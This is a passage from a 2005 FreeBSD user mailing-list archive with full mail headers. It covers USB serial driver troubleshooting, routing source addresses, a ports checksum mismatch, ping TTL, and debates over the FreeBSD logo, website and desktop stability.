firm update the Linux desktops needs to be evaluated first (and I'm sure they did). Another point, as far as I got it, was security, i.e., higher resilience towards worms and viruses. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:19:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 06EF416A4CF for ; Sat, 12 Feb 2005 16:19:36 +0000 (GMT) Received: from adulttoy.thepictureguys.com (CPE-65-31-180-203.wi.rr.com [65.31.180.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id 929CA43D46 for ; Sat, 12 Feb 2005 16:19:35 +0000 (GMT) (envelope-from stuartw@adulttoy.thepictureguys.com) Received: from adulttoy.thepictureguys.com (localhost [127.0.0.1]) j1CGJAAs003605 for ; Sat, 12 Feb 2005 10:19:15 -0600 (CST) (envelope-from stuartw@adulttoy.thepictureguys.com) Received: from localhost (stuartw@localhost)j1CGJ0VS003602 for ; Sat, 12 Feb 2005 10:19:10 -0600 (CST) (envelope-from stuartw@adulttoy.thepictureguys.com) Date: Sat, 12 Feb 2005 10:18:55 -0600 (CST) From: Stuart Wogsland To: freebsd-questions@freebsd.org Message-ID: <20050212100833.T3564@adulttoy.thepictureguys.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: USB ucom driver not in dev X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:19:36 -0000 I'm having this problem with getting the ucom driver to show up in my /dev for a USB serial device. I need to connect to this USB device as tty to control the device. I'm running 5.3-Release and I have made a custom kernel with the following - I've compiled it the new way. device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface Commented 2-8-05 device usb # USB Bus (required) #device udbp # USB Double Bulk Pipe devices device ugen # Generic device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse device urio # Diamond Rio 500 MP3 player device uscanner # Scanners device ucom # Communications Port replaces tty device uplcom # USB Generic Serial Driver When I look in the /dev folder all I see in there is: usb usb0 usb1 usb2 No ucom. When I do a usbdevs -v - I get the following results. Controller /dev/usb0: addr 1: full speed, self powered, config 1, UHCI root hub(0x0000), Intel(0x0000) , rev 1.00 port 1 addr 2: full speed, self powered, config 1, USB <-> Serial(0x6001), FTDI (0x0403), rev 4.00 port 2 powered Controller /dev/usb1: addr 1: full speed, self powered, config 1, UHCI root hub(0x0000), Intel(0x0000) , rev 1.00 port 1 powered port 2 powered Controller /dev/usb2: addr 1: full speed, self powered, config 1, UHCI root hub(0x0000), Intel(0x0000) , rev 1.00 port 1 powered port 2 powered So, as you can imagine, I don't know what to do next. Any help would be greatly appreciated on getting these USB serial device to work. Thank you. Stuart Wogsland Milwaukee, Wisconsin From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:27:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 928EE16A4CE for ; Sat, 12 Feb 2005 16:27:23 +0000 (GMT) Received: from lilzmailso01.liwest.at (lilzmailso01.liwest.at [212.33.55.23]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3F65943D1D for ; Sat, 12 Feb 2005 16:27:23 +0000 (GMT) (envelope-from dgw@liwest.at) Received: from cm248-169.liwest.at ([81.10.248.169]) by lilzmailso01.liwest.at with esmtp (Exim 4.24) id 1D0077-0006sM-La; Sat, 12 Feb 2005 17:27:21 +0100 From: Daniela To: Volker Kindermann Date: Sat, 12 Feb 2005 18:27:13 +0000 User-Agent: KMail/1.5.3 References: <200502112206.43267.dgw@liwest.at> <200502121505.20754.dgw@liwest.at> <420E2992.10509@ps102.de> In-Reply-To: <420E2992.10509@ps102.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121827.13481.dgw@liwest.at> cc: Alin-Adrian Anton cc: questions@freebsd.org Subject: Re: How do I set the source address on a multi-homed host? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dgw@liwest.at List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:27:23 -0000 On Saturday 12 February 2005 16:06, Volker Kindermann wrote: > Hi Daniela, > > > Yes, this happens when I connect from my machine (which functions as a > > router with NAT to allow the other LAN machines connect to the internet) > > to another LAN machine. When the router establishes a connection to > > another point in the intranet, the source address used is my official IP, > > and not 10.0.0.1, which is the intranet IP of the router. > > please post the output of the following commands: > > ifconfig -a [Showing only relevant entries. My official IP is replaced with x.x.x.x] rl0: flags=8843 mtu 1500 inet6 fe80::202:44ff:fe66:bf4%rl0 prefixlen 64 scopeid 0x1 inet x.x.x.x netmask 0xffffff00 broadcast x.x.x.255 ether 00:02:44:66:0b:f4 media: Ethernet autoselect (100baseTX ) status: active rl1: flags=8843 mtu 1500 inet6 fe80::20a:cdff:fe00:c076%rl1 prefixlen 64 scopeid 0x2 inet 10.0.0.1 netmask 0xff000000 broadcast 10.255.255.255 ether 00:0a:cd:00:c0:76 media: Ethernet autoselect (100baseTX ) status: active > netstat -nr Destination Gateway Flags Refs Use Netif Expire default x.x.x.1 UGSc 0 340313 rl0 10 link#2 UC 2 0 rl1 10.0.0.3 00:0d:61:17:fc:30 UHLW 1 444 rl1 903 10.255.255.255 ff:ff:ff:ff:ff:ff UHLWb 0 2453 rl1 x.x.x/24 link#1 UC 2 0 rl0 x.x.x.1 00:d0:88:01:03:f5 UHLW 1 0 rl0 623 x.x.x.x 127.0.0.1 UGHS 2 3458 lo0 x.x.x.255 ff:ff:ff:ff:ff:ff UHLWb 1 2464 rl0 127.0.0.1 127.0.0.1 UH 1 5540 lo0 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:27:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1BCFA16A4E8; Sat, 12 Feb 2005 16:27:27 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 440D643D31; Sat, 12 Feb 2005 16:27:26 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Sat, 12 Feb 2005 10:27:22 -0600 Message-ID: <420E2E68.3050005@daleco.biz> Date: Sat, 12 Feb 2005 10:27:20 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <13116927.20050212032039@wanadoo.fr> <1327176360.20050212104749@wanadoo.fr> In-Reply-To: <1327176360.20050212104749@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 12 Feb 2005 16:27:22.0828 (UTC) FILETIME=[BAF628C0:01C5111F] cc: freebsd-advocacy@freebsd.org cc: Anthony Atkielski Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:27:27 -0000 Anthony Atkielski wrote: >Jeremy C. Reed writes: > > >>Being able to run a desktop for over a hundred days without reboots, >>without annoying continuous software failures, without worry of malicious >>(or anoying) pop-ups, virus, and malware, and being able to quickly do my >>desktop work is a good reason to use an open source Unix desktop. >> >> > >Except that Windows does all of this. My XP and NT desktops will run >until I reboot them, which often means months at a time. If I chose not >to reboot them, they'd run for years (the NT code base is extremely >stable). > >I haven't experienced any annoying software failures under Windows. > >I have no problems with pop-ups, viruses, or malware. The only virus >I've ever experienced was an Apache virus on my FreeBSD machine, >ironically, and that was because the Apache server had a bug and the >server _must_ service ports that are open to the world (there's nothing >I can do to protect the system in such a case). Windows viruses and >other problems can be avoided by firewalls and safe computing; it isn't >even necessary to run an antivirus product. > >Time between boots is similar for both the Windows and FreeBSD systems, >but neither system actually requires a boot at such frequent intervals. >I usually boot FreeBSD when I have to power-cycle the hardware, or when >I make a change that is exposed at boot time and I wish to make sure >that the system actually will boot (such as a change in rc.conf). A >common reason for booting is installation of software on both platforms; >FreeBSD doesn't require it, but I boot anyway to make sure nothing in >the boot process has been misconfigured, and many Windows applications >insist on it, even though the OS itself does not. > > I'm guessing *you* are atypical in this. Most of our Windows boxes are rather stable. But our FreeBSD ones are simply rocks. It's true I can't just "pointy clicky" them into a usable configuration, but the software runs for as long as we wish. That is in a rather direct opposition to the majority of our on-site service calls for clients, which generally have to do with troubleshooting software issues on Windows boxes related to "annoying software failures", and "pop-ups, viruses, and malware". And reboots with Win XP are probably about 1/3 lower (guesstimate) than they were with the 9x products. But, there were *many* back then. The other day we gained a client who had been sold a rather new M$ Server product. It was set up to be their PDC, but there were some issues. One of these issues was that the NIC it was connected to the network with was set to use DHCP We reconfigured the interface, and, true to form, "You must reboot your computer for the changes to take effect." I would argue that you are not Joe User, because this is not necessarily his experience, even with "XP". Nor "Jane User" either. Newer Microsoft products are more stable than their predecessors, but there is no comparison between them and the stability and security of FreeBSD in our experience. The fact that Windows XP is more stable than their previous products is known, but another chunk of evidence indicates that issues with that OS, as Jeremy described, are still well in evidence. There are thousands upon thousands times thousands of relatively clueless users out there who do have problems with Windows whether they know it or not. For my office, a FreeBSD desktop makes a good bit of sense. I don't have major software issues with FreeBSD, and my unit cost is a hundred bucks or more less than a Windows desktop. But, in that, *we* are atypical, I suppose. Kevin Kinsey DaleCo, S.P. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:38:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 59CFB16A4CE; Sat, 12 Feb 2005 16:38:06 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D68443D2D; Sat, 12 Feb 2005 16:38:05 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id AD09D530D; Sat, 12 Feb 2005 17:38:03 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 1132B5308; Sat, 12 Feb 2005 17:37:27 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id 7EE6733C1B; Sat, 12 Feb 2005 17:37:27 +0100 (CET) To: "Ted Mittelstaedt" References: From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 17:37:27 +0100 In-Reply-To: (Ted Mittelstaedt's message of "Sat, 12 Feb 2005 03:33:00 -0800") Message-ID: <86vf8xvins.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING autolearn=disabled version=3.0.1 cc: Robert Marella cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:38:06 -0000 "Ted Mittelstaedt" writes: > I don't see why you are so proud of not doing this. Is it your > intention to cause problems for companies that want to use FreeBSD > in their products? This sort of thing is exactly what the > chicken littles like Anthony are talking about. It isn't going > to matter to some lawyer charged with vetting the code to make > sure that using it in a company's project is OK, that your and > the other's copyright is equivalent to the BSD one. He is going > to see this and wonder why it wasn't disclosed in the docs where > it should have been, and what else is being hidden. You need to understand the difference between copyright and license, and stop looking for black helicopters. DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:40:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DDC6D16A4CE; Sat, 12 Feb 2005 16:40:50 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7250143D2F; Sat, 12 Feb 2005 16:40:50 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id C95F3C0C5; Sat, 12 Feb 2005 11:41:03 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 11:41:02 -0500 User-Agent: KMail/1.7.1 References: <420DF299.2000509@scii.nl> In-Reply-To: <420DF299.2000509@scii.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121141.03233.ean@hedron.org> cc: questions@freebsd.org cc: albi Subject: Re: size mismatches while installing/downloading enigmail X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:40:51 -0000 On February 12, 2005 07:12 am, albi wrote: > hi, > > > > can someone explain the errors below ? > (just did a cvsup for ports & make fetchindex, and only the one > from ftp.freebsd.org seems to be fine) As part of the checking to make sure that the source you download is valid, the ports system keeps a number of metrics about the source files. This includes an MD5 checksum and the size of the source file. In the case below, the size is sleightly off (by 2 whole bytes). This is causing the ports system to try a different location for the source file. My guess is that you choose a bad time for your last cvsup and if you run cvsup again, everything will work right. On the other hand it could be that the Mozilla folks had to re-build their source file for that product and it came out 2 bytes smaller this time. Again, a cvsup may fix the error for you. The ports maintainers are ususally pretty quick about these things. > > [ root@amandla:/usr/ports/mail/enigmail ] # make install > ===> Vulnerability check disabled, database not found > => enigmail-0.89.5.tar.gz doesn't seem to exist in /usr/ports/distfiles/. > => Attempting to fetch from http://mozdev.secsup.org/enigmail/src/. > fetch: http://mozdev.secsup.org/enigmail/src/enigmail-0.89.5.tar.gz: > size mismatch: expected 358830, actual 358828 [cut repeated messages] > => Attempting to fetch from > ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/. > enigmail-0.89.5.tar.gz 100% of 350 kB 26 kBps > 00m00s > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:40:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DDC6D16A4CE; Sat, 12 Feb 2005 16:40:50 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7250143D2F; Sat, 12 Feb 2005 16:40:50 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id C95F3C0C5; Sat, 12 Feb 2005 11:41:03 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 11:41:02 -0500 User-Agent: KMail/1.7.1 References: <420DF299.2000509@scii.nl> In-Reply-To: <420DF299.2000509@scii.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121141.03233.ean@hedron.org> cc: questions@freebsd.org cc: albi Subject: Re: size mismatches while installing/downloading enigmail X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:40:51 -0000 On February 12, 2005 07:12 am, albi wrote: > hi, > > > > can someone explain the errors below ? > (just did a cvsup for ports & make fetchindex, and only the one > from ftp.freebsd.org seems to be fine) As part of the checking to make sure that the source you download is valid, the ports system keeps a number of metrics about the source files. This includes an MD5 checksum and the size of the source file. In the case below, the size is sleightly off (by 2 whole bytes). This is causing the ports system to try a different location for the source file. My guess is that you choose a bad time for your last cvsup and if you run cvsup again, everything will work right. On the other hand it could be that the Mozilla folks had to re-build their source file for that product and it came out 2 bytes smaller this time. Again, a cvsup may fix the error for you. The ports maintainers are ususally pretty quick about these things. > > [ root@amandla:/usr/ports/mail/enigmail ] # make install > ===> Vulnerability check disabled, database not found > => enigmail-0.89.5.tar.gz doesn't seem to exist in /usr/ports/distfiles/. > => Attempting to fetch from http://mozdev.secsup.org/enigmail/src/. > fetch: http://mozdev.secsup.org/enigmail/src/enigmail-0.89.5.tar.gz: > size mismatch: expected 358830, actual 358828 [cut repeated messages] > => Attempting to fetch from > ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/. > enigmail-0.89.5.tar.gz 100% of 350 kB 26 kBps > 00m00s > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:41:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A4FEE16A4CE for ; Sat, 12 Feb 2005 16:41:49 +0000 (GMT) Received: from web50801.mail.yahoo.com (web50801.mail.yahoo.com [206.190.38.110]) by mx1.FreeBSD.org (Postfix) with SMTP id 190F143D54 for ; Sat, 12 Feb 2005 16:41:49 +0000 (GMT) (envelope-from dereckhaskins@yahoo.com) Received: (qmail 92188 invoked by uid 60001); 12 Feb 2005 16:41:48 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=WJVD3ihrpTxv7IvaegL6/kRqvGEiTZzGOcsopQYt8GG4g9mS5GNf9Ra6hF9L2iK+oOB24ZhlQ5PeRKihvoYbah/SxUCpQgz2zTOX21kjdvRV8uW97STtOftLreZFUC89jff8UWBjBiy4gaue+d10SkGa5NMI8HiWhzo84PJTiOA= ; Message-ID: <20050212164148.92186.qmail@web50801.mail.yahoo.com> Received: from [66.65.216.138] by web50801.mail.yahoo.com via HTTP; Sat, 12 Feb 2005 08:41:48 PST Date: Sat, 12 Feb 2005 08:41:48 -0800 (PST) From: dereck To: Roger 'Rocky' Vetterberg , freebsd-questions@freebsd.org In-Reply-To: <420E27DD.1090200@401.cx> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-advocacy@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:41:49 -0000 > So far, I have not seen one single valid argument > against a > freebsd.com website or a new logo, so I side with > the people that > wants some changes to happen in this one. > I'm with Roger here. It is time for a change, and perhaps a smaller, but "business friendly" image on the MAIN site. The website as it is is much too busy and confusing. Actually, I would not mind moving the current website over to "freebsd_tech_user" or something that clearly targets BSD technical users. But I work for a medium-sized, proprietary software company. I would _NEVER_ send even competent WIN32 people to the current FreeBSD site for them to evaluate the OS - the confusing structure and "face" of the site is sure to turn them off. Even asking "basic" questions in the Search function doesn't work cleanly - instead hundreds of manual links are returned. A clear and short "Who is using it" and "Why it would help YOUR business" page would be better than what we have now. I just don't understand the arguments of those who don't want change here. Is this not a question of "survival" in some sense? OBSD went through a logo change some time ago, and I would argue that this change was very successful. We've (IMHO) got to get the businesses who are looking at Open Source to consider FreeBSD. This means making the website "friendly." This is simply so they'll move to the next logical step to ask "who is using it already?". And this is getting critical, people - Sun is making SOLARIS free and will release the OS for _anyone_ to use in coming weeks. In the case of "OpenSolaris" a business doesn't even have to ask that "next question", as millions of computers run Solaris worldwide - Wall Street brokerages use it everywhere, and MLB.com uses it prominently, to name a couple of examples. The heart of the matter is whether we will continue to target the uber-geeks of the world and be happy with a tiny niche, or whether we will make FreeBSD what it should be - _the_ standard against which other *NIX OS clones measure themselves. Appearances do matter in this case, and the current website should be moved over to target the few of us who are already committed. My 2 cents. dereck From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:50:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3E3FB16A4CE; Sat, 12 Feb 2005 16:50:10 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id 16E7843D1D; Sat, 12 Feb 2005 16:50:10 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1CGo66V014119; Sat, 12 Feb 2005 08:50:07 -0800 (PST) From: Robert Marella To: Ted Mittelstaedt In-Reply-To: References: Content-Type: text/plain Date: Sat, 12 Feb 2005 06:53:28 -1000 Message-Id: <1108227208.50929.4.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:50:10 -0000 On Fri, 2005-02-11 at 23:12 -0800, Ted Mittelstaedt wrote: > > > > > Why in the world should I expect to be able to vote on whether a new > > logo is adopted or not? > > > > I will tell you exactly why and it is one of the most exciting reasons > to use FreeBSD. > > It is EVERYONE WHO CONTRIBUTES ANYTHING TO FREEBSD. You, me, anyone > who wants to be involved in the FreeBSD Project, all you need to do > is start contributing and YOU ARE IN IT!!! > > Thus, FREEBSD BELONGS TO YOU!! That's, right YOU!! Your a member > of the FreeBSD Project - you are one of the owners of the FreeBSD > code. That's it, simple as that. > > So, of course you should have a vote. > > Ted > Let me be the first to nominate Ted as the ballot magistrate. He will decide who gets to vote by how they have committed to the project. Unless he wants to open it up to every man, woman, and child who has access to the internet. I guess then we wouldn't need a magistrate. Robert From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:50:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D6D5616A4CE for ; Sat, 12 Feb 2005 16:50:33 +0000 (GMT) Received: from web52003.mail.yahoo.com (web52003.mail.yahoo.com [206.190.39.59]) by mx1.FreeBSD.org (Postfix) with SMTP id 426A743D4C for ; Sat, 12 Feb 2005 16:50:33 +0000 (GMT) (envelope-from annkok2001@yahoo.com) Received: (qmail 1639 invoked by uid 60001); 12 Feb 2005 16:50:32 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=Ftt/t7boyYHFQ1oJ1S98zWmFSVG8dvLl69qxcmNL2r1/0ABtwM6uVeN2ZaBPROTdNbb99oDjN6DkriqKM2zkcfxRK1anQY38lcGfJVFxK2ZlFRRHtfx7JctyYr+VpBJOboV35R9NlvpBpvmSPu3A/pc7bCjH3GWxG/Lz+renBkk= ; Message-ID: <20050212165032.1637.qmail@web52003.mail.yahoo.com> Received: from [142.154.96.177] by web52003.mail.yahoo.com via HTTP; Sat, 12 Feb 2005 08:50:32 PST Date: Sat, 12 Feb 2005 08:50:32 -0800 (PST) From: ann kok To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: ping question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:50:34 -0000 Hi all I ping from redhat to cisco router and freebsd router but I don't understand ttl (time to live) Cisco router has ttl=251 and freebsd router has 58 Does it set by the router itself? Can I change it in freebsd? Thank you 64 bytes from 212.223.x.193: icmp_seq=1151 ttl=251 time=100 ms 64 bytes from 212.223.x.193: icmp_seq=1152 ttl=251 time=103 ms 64 bytes from 212.223.x.193: icmp_seq=1153 ttl=251 time=104 ms 64 bytes from 212.223.x.193: icmp_seq=1154 ttl=251 time=106 ms 64 bytes from 212.x.254.4: icmp_seq=1182 ttl=58 time=105 ms 64 bytes from 212.x.254.4: icmp_seq=1183 ttl=58 time=105 ms 64 bytes from 212.x.254.4: icmp_seq=1184 ttl=58 time=104 ms 64 bytes from 212.x.254.4: icmp_seq=1185 ttl=58 time=108 ms __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:50:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CCE8E16A4CE for ; Sat, 12 Feb 2005 16:50:48 +0000 (GMT) Received: from web52003.mail.yahoo.com (web52003.mail.yahoo.com [206.190.39.59]) by mx1.FreeBSD.org (Postfix) with SMTP id 442A843D3F for ; Sat, 12 Feb 2005 16:50:48 +0000 (GMT) (envelope-from annkok2001@yahoo.com) Received: (qmail 1704 invoked by uid 60001); 12 Feb 2005 16:50:47 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=4yPwcdHJY5CD8CLBKDTd/dDHRatvNgjeARiPvkHJT7H2D121GDaR/Dq4tmerow8lMm2aVXqTAAqNzWy83lc2+m6wKxgyA2IcVyqL2l3vE3Zr2584ykUu2GQ479N3OvTVxSU8LGAYQTVBbY9LHy2pUTxuNfYqdVX7r8Dn3L+pgGI= ; Message-ID: <20050212165047.1701.qmail@web52003.mail.yahoo.com> Received: from [142.154.96.177] by web52003.mail.yahoo.com via HTTP; Sat, 12 Feb 2005 08:50:47 PST Date: Sat, 12 Feb 2005 08:50:47 -0800 (PST) From: ann kok To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: ping question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 16:50:48 -0000 Hi all I ping from redhat to cisco router and freebsd router but I don't understand ttl (time to live) Cisco router has ttl=251 and freebsd router has 58 Does it set by the router itself? Can I change it in freebsd? Thank you 64 bytes from 212.223.x.193: icmp_seq=1151 ttl=251 time=100 ms 64 bytes from 212.223.x.193: icmp_seq=1152 ttl=251 time=103 ms 64 bytes from 212.223.x.193: icmp_seq=1153 ttl=251 time=104 ms 64 bytes from 212.223.x.193: icmp_seq=1154 ttl=251 time=106 ms 64 bytes from 212.x.254.4: icmp_seq=1182 ttl=58 time=105 ms 64 bytes from 212.x.254.4: icmp_seq=1183 ttl=58 time=105 ms 64 bytes from 212.x.254.4: icmp_seq=1184 ttl=58 time=104 ms 64 bytes from 212.x.254.4: icmp_seq=1185 ttl=58 time=108 ms __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 16:55:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 63EBF16A4CE; Sat, 12 Feb 2005 16:55:03 +0000 (GMT) Received: from shrike.submonkey.net (cpc4-cdif3-6-1-cust116.cdif.cable.ntl.com [82.23.41.116]) by mx1.FreeBSD.org (Postfix) with ESMTP id 